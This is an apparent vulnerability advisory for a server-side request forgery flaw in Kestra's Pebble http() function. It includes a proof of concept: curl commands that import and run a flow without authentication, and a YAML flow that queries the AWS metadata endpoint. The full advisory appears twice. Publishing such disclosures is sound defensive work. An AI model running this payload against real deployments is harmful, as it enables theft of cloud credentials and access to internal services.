CVE-2026-73247

Kestra is an open-source, event-driven orchestration platform. Prior to 2.0.0, Kestra's core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java passes the user-controlled http() uri argument to URI.create() and the server-side HTTP client without restricting private, loopback, or link-local destinations, allowing an unauthenticated attacker to import and execute a flow that accesses internal services or cloud metadata.

Kestra is an open-source, event-driven orchestration platform. Prior to 2.0.0, Kestra's core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java passes the user-controlled http() uri argument to URI.create() and the server-side HTTP client without restricting private, loopback, or link-local destinations, allowing an unauthenticated attacker to import and execute a flow that accesses internal services or cloud metadata.

Summary

The Pebble template engine's http() function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.

Details

The root cause is in core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java (lines 77-106):

1. No URL validation: User input is passed directly to URI.create() with no checks for private IPs, internal hosts, or restricted schemes
2. No IP filtering: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1
3. No scheme restriction: file://, gopher:// schemes are not blocked
4. No authentication required: TenantValidationFilter.java only checks tenant == "main" — no authentication
5. Unconditional registration: HttpFunction is registered without any feature flags in Extension.java:180

PoC

Prerequisites:

docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local
sleep 30

Step 1: Create malicious Flow YAML

cat > /tmp/ssrf_poc.yaml << 'YAML'
id: ssrf_metadata
namespace: company.team
tasks:
  - id: exfiltrate
    type: io.kestra.plugin.core.log.Log
    message: |
      {{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}
YAML

Step 2: Import without authentication

curl -X POST http://localhost:8080/api/v1/main/flows/import \
  -F "fileUpload=@/tmp/ssrf_poc.yaml"

Step 3: Execute the flow

curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata

Step 4: Verify — the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)

Impact

• CVSS 3.1: 8.6 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
• CWE: CWE-918 (Server-Side Request Forgery)
• Affected: All Kestra OSS versions (default deployment)
• Impact: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft

Kestra is an open-source, event-driven orchestration platform. Prior to 2.0.0, Kestra's core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java passes the user-controlled http() uri argument to URI.create() and the server-side HTTP client without restricting private, loopback, or link-local destinations, allowing an unauthenticated attacker to import and execute a flow that accesses internal services or cloud metadata.

Kestra is an open-source, event-driven orchestration platform. Prior to 2.0.0, Kestra's core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java passes the user-controlled http() uri argument to URI.create() and the server-side HTTP client without restricting private, loopback, or link-local destinations, allowing an unauthenticated attacker to import and execute a flow that accesses internal services or cloud metadata.

Summary

The Pebble template engine's http() function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.

Details

The root cause is in core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java (lines 77-106):

1. No URL validation: User input is passed directly to URI.create() with no checks for private IPs, internal hosts, or restricted schemes
2. No IP filtering: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1
3. No scheme restriction: file://, gopher:// schemes are not blocked
4. No authentication required: TenantValidationFilter.java only checks tenant == "main" — no authentication
5. Unconditional registration: HttpFunction is registered without any feature flags in Extension.java:180

PoC

Prerequisites:

docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local
sleep 30

Step 1: Create malicious Flow YAML

cat > /tmp/ssrf_poc.yaml << 'YAML'
id: ssrf_metadata
namespace: company.team
tasks:
  - id: exfiltrate
    type: io.kestra.plugin.core.log.Log
    message: |
      {{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}
YAML

Step 2: Import without authentication

curl -X POST http://localhost:8080/api/v1/main/flows/import \
  -F "fileUpload=@/tmp/ssrf_poc.yaml"

Step 3: Execute the flow

curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata

Step 4: Verify — the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)

Impact

• CVSS 3.1: 8.6 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
• CWE: CWE-918 (Server-Side Request Forgery)
• Affected: All Kestra OSS versions (default deployment)
• Impact: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft